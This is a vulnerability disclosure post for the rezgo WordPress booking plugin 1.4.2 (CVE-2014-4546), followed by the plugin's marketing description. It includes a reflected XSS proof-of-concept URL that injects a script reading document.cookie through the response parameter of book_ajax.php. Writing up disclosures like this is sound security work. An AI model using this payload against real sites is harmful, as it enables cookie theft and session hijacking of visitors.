wp-plugin : rezgo – A3-Cross-Site Scripting (XSS)

 

Plugin Details

 

Plugin Name : rezgo

 

Effected Version : 1.4.2 (and most probably lower version's if any)

 
Vulnerability : A3-Cross-Site Scripting (XSS)
 
Identified by : Prajal Kulkarni

 

 

Technical Details

 

Minimum Level of Access Required : Unauthenticated

 

PoC - (Proof of Concept) :

 

http://127.0.0.1/wordpress/wp-content/wp-plugs/rezgo/book_ajax.php?response=response%27%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&

 

Disclosure Timeline

 

Vendor Contacted : 2014-01-21

 
Plugin Status : Closed
 
Public Disclosure : May 28, 2014
 
CVE Number : CVE-2014-4546

 
Plugin Description :
 
This version of the Rezgo plugin has been discontinued. For the latest version of the Rezgo plugin please download the Rezgo Online Booking Plugin.


**Rezgo** is a cloud based software as a service booking system that gives businesses the ability to manage their tour or activity inventory, manage reservations, and process credit card payments. This plugin is a full featured front-end booking engine that connects your WordPress site to your Rezgo account.

The Rezgo WordPress Booking Plugin is not an iframe or javascript widget based booking engine, it is a completely integrated booking interface that takes advantage of all the content management capabilities of WordPress.  Tag, search, tour list, and tour detail pages are all fully integrated with the WordPress site structure giving you the ability to link directly to product pages, specific dates, or apply promotional codes or referral ids.  Every Rezgo WordPress page is search optimized and index ready, which means your site gets all the benefit of your Rezgo content.

You get all the features of the regular Rezgo hosted booking engine plus the flexibility to completely control the look and feel of your customer booking experience.

= Plugin features include =

*	Complete control over look and feel through CSS and access to display templates
*	Powerful AJAX booking calendar features
*	Support for discount and referral codes
*	Fully search ready pages and search engine friendly URLs
*	Complete transaction processing on your own site (with secure certificate)*
*	Plus all the other features of Rezgo. (http://www.rezgo.com/features)

= Support for your Rezgo Account =

If you need help getting set-up, Rezgo support is only a click or phone call away:

* Rezgo Support Website (http://support.rezgo.com)
* Customer service foru] (http://getsatisfaction.com/rezgo)
* Rezgo on Twitter (http://www.twitter.com/rezgo)
* Rezgo on Facebook (http://www.facebook.com/rezgo.tour.operator.software)
* Pick up the phone and call +1 (604) 983-0083
* Email support AT rezgo.com

Leave a Reply

Your email address will not be published. Required fields are marked *